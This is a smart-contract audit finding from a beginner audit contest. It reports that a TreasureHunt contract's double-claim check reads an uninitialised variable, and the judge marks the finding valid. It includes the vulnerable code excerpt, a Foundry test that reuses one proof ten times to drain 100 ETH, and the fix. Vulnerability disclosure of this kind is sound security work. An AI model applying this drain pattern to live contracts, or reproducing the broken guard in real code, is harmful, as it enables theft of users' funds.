SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

(HIGH) Wrong variable in "already claimed" check allows unlimited reclaim of the same treasure. One valid proof drains the entire 100 ETH prize pool

snavohburmaa

Location: contracts/src/TreasureHunt.sol:35, 83, 88, 104

Description

The TreasureHunt.claim function is supposed to stop a user from claiming the same treasure twice, but the duplicate check reads the wrong storage key. It reads claimed[_treasureHash], where _treasureHash is an immutable that is never assigned in the constructor, so its value is always the type default bytes32(0).

bytes32 private immutable _treasureHash; // declared but NEVER initialized
...
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
@> if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
...
_markClaimed(treasureHash); // correct hash is stored, but the check above never reads it
...
}

Every call reads claimed[bytes32(0)], which is always false. The "already claimed" guard never triggers. Meanwhile, _markClaimed(treasureHash) correctly writes the real hash into the mapping, but that slot is never consulted during claim.

Risk (H)

Likelihood: High. Anyone with a single valid proof (i.e. any treasure finder) can trigger this. There is no edge case, no race condition, no precondition beyond having one valid claim tuple.

Impact: High . A participant with one valid proof can call claim up to MAX_TREASURES = 10 times with the same (proof, treasureHash, recipient). Each call sends REWARD = 10 ether to the recipient. One valid proof therefore drains the full 100 ETH prize pool to a single address. The rest of the finders get nothing.

Proof of Concept

Put the following test :

function test_DrainContractWithOneProof() public {
(bytes memory proof, bytes32 treasureHash, address payable recipient) = _loadFixture();
​
uint256 contractBefore = address(hunt).balance;
uint256 recipientBefore = recipient.balance;
console2.log("Contract balance before attack:", contractBefore);
​
// Attacker uses the SAME proof 10 times.
vm.startPrank(attacker);
for (uint256 i = 0; i < 10; i++) {
hunt.claim(proof, treasureHash, recipient);
}
vm.stopPrank();
​
console2.log("Contract balance after attack:", address(hunt).balance);
console2.log("ETH stolen:", recipient.balance - recipientBefore);
​
assertEq(address(hunt).balance, 0);
assertEq(recipient.balance - recipientBefore, 100 ether);
assertEq(hunt.claimsCount(), 10);
}

Run:

forge test --match-test test_DrainContractWithOneProof -vv

Expected output:

Contract balance before attack: 100000000000000000000 (100 ETH)
Contract balance after attack: 0
ETH stolen: 100000000000000000000 (100 ETH)

Recommended Mitigation

Use the function parameter treasureHash in the duplicate check. Delete the unused _treasureHash immutable.

- bytes32 private immutable _treasureHash; // line 35
...
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // line 88
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
...
}
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!